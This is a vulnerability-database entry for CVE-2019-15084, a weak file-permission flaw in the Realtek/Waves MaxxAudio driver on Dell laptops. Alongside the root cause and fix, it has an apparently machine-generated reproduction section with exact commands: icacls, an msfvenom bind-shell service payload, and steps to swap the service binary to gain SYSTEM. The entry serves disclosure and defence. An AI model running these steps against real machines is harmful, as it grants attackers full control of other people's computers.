CVE-2019-15084
Description
Realtek Waves MaxxAudio driver 1.6.2.0, as used on Dell laptops, installs with incorrect file permissions. As a result, a local attacker can escalate to SYSTEM.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Affected products
2- Realtek/Waves MaxxAudio driverdescription
- Range: =1.6.2.0
Patches
Vulnerability mechanics
Root cause
"The installer sets incorrect file permissions granting `Everyone` full control over the service binary, allowing any local user to replace it."
Attack vector
A local attacker first verifies the weak permissions on `WavesSysSvc64.exe` using `icacls`, confirming that the `Everyone` group has full control (`F`) [ref_id=1]. Because the service runs as `LocalSystem`, replacing its binary with a malicious executable causes the service to execute the attacker's payload with SYSTEM privileges. The attacker moves the legitimate binary aside (since it is in use) and places a crafted `exe-service` payload (e.g., a bind shell generated with msfvenom) in its place [ref_id=1]. No authentication beyond local user access is required, and no special privileges are needed to exploit the weak file permission.
Affected code
The vulnerable binary is `C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe`, the executable for the `wavessyssvc` service which runs as `LocalSystem` [ref_id=1]. The service binary is installed with overly permissive ACLs, granting `Everyone:(I)(F)` (full control) to all users [ref_id=1].
What the fix does
No patch is provided in the bundle. The advisory states that "Dell PSIRT has acknowledged the issue and advises updating to a supported driver" [ref_id=1]. The fix would involve the vendor revising the installer to set restrictive file permissions on `WavesSysSvc64.exe`, removing the `Everyone:(F)` ACE so that only `SYSTEM` and `Administrators` can modify the binary, thereby preventing unprivileged users from replacing it.
Preconditions
- authAttacker must have local user access to the Windows system
- configThe WavesSysSvc64.exe file must be present with the weak ACL (Everyone: Full Control)
Reproduction
1. Verify weak permissions: `icacls "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe"` — confirm `Everyone:(I)(F)` is present. 2. Generate a service payload: `msfvenom -p windows/shell_bind_tcp LPORT=4444 -f exe-service -o service.exe`. 3. Transfer the payload to the victim. 4. Move the legitimate binary: `move "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe" "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.bak"`. 5. Copy the malicious payload to the original path: `copy service.exe "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe"`. 6. Restart the service or reboot; the payload runs as SYSTEM [ref_id=1].
Generated on May 25, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
1- www.exploit-db.com/exploits/46416mitrex_refsource_MISC
News mentions
0No linked articles in our index yet.